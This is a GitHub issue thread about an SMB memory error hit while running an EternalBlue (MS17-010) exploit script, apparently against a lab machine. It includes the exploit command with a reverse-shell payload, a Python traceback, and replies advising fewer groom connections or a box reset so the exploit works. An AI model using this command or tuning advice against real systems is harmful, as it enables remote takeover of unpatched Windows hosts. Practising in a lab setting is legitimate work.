MS17-010 icon indicating copy to clipboard operation
MS17-010 copied to clipboard

ERRDOS, code: ERRnomem(Insufficient server memory to perform the requested function

Open codecor opened this issue 6 years ago • 2 comments

Hello, For some time now, I've been running the following command and receive the below error. I have tried re-installing python-impacket and using the mysmb.py , to no avail. Would you have any insight into what is the problem on my setup/command? Running 2018.1 x64.

Command python eternalblue_exploit7.py 10.10.10.40 reverse_shell.bin 500

Error:

Traceback (most recent call last):
  File "eternalblue_exploit7.py", line 564, in <module>
    exploit(TARGET, sc, numGroomConn)
  File "eternalblue_exploit7.py", line 508, in exploit
    holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
  File "eternalblue_exploit7.py", line 270, in createSessionAllocNonPaged
    conn = smb.SMB(target, target)
  File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 2402, in __init__
    self.neg_session()
  File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 2606, in neg_session
    return parsePacket(smb)
  File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 2560, in parsePacket
    if smb.isValidAnswer(SMB.SMB_COM_NEGOTIATE):
  File "/usr/lib/python2.7/dist-packages/impacket/smb.py", line 712, in isValidAnswer
    raise SessionError, ("SMB Library Error", self['ErrorClass'] + (self['_reserved'] << 8), self['ErrorCode'], self['Flags2'] & SMB.FLAGS2_NT_STATUS)
impacket.smb.SessionError: SMB SessionError: class: ERRDOS, code: ERRnomem(Insufficient server memory to perform the requested function.)

codecor avatar Mar 21 '18 06:03 codecor

Have you tried lowering your groom connections? I think 500 maybe to high. I usually use 12 or 17.

Bry-fi avatar Apr 25 '18 10:04 Bry-fi

re-setting the box seems to work for me

tom-dell avatar Jul 21 '19 04:07 tom-dell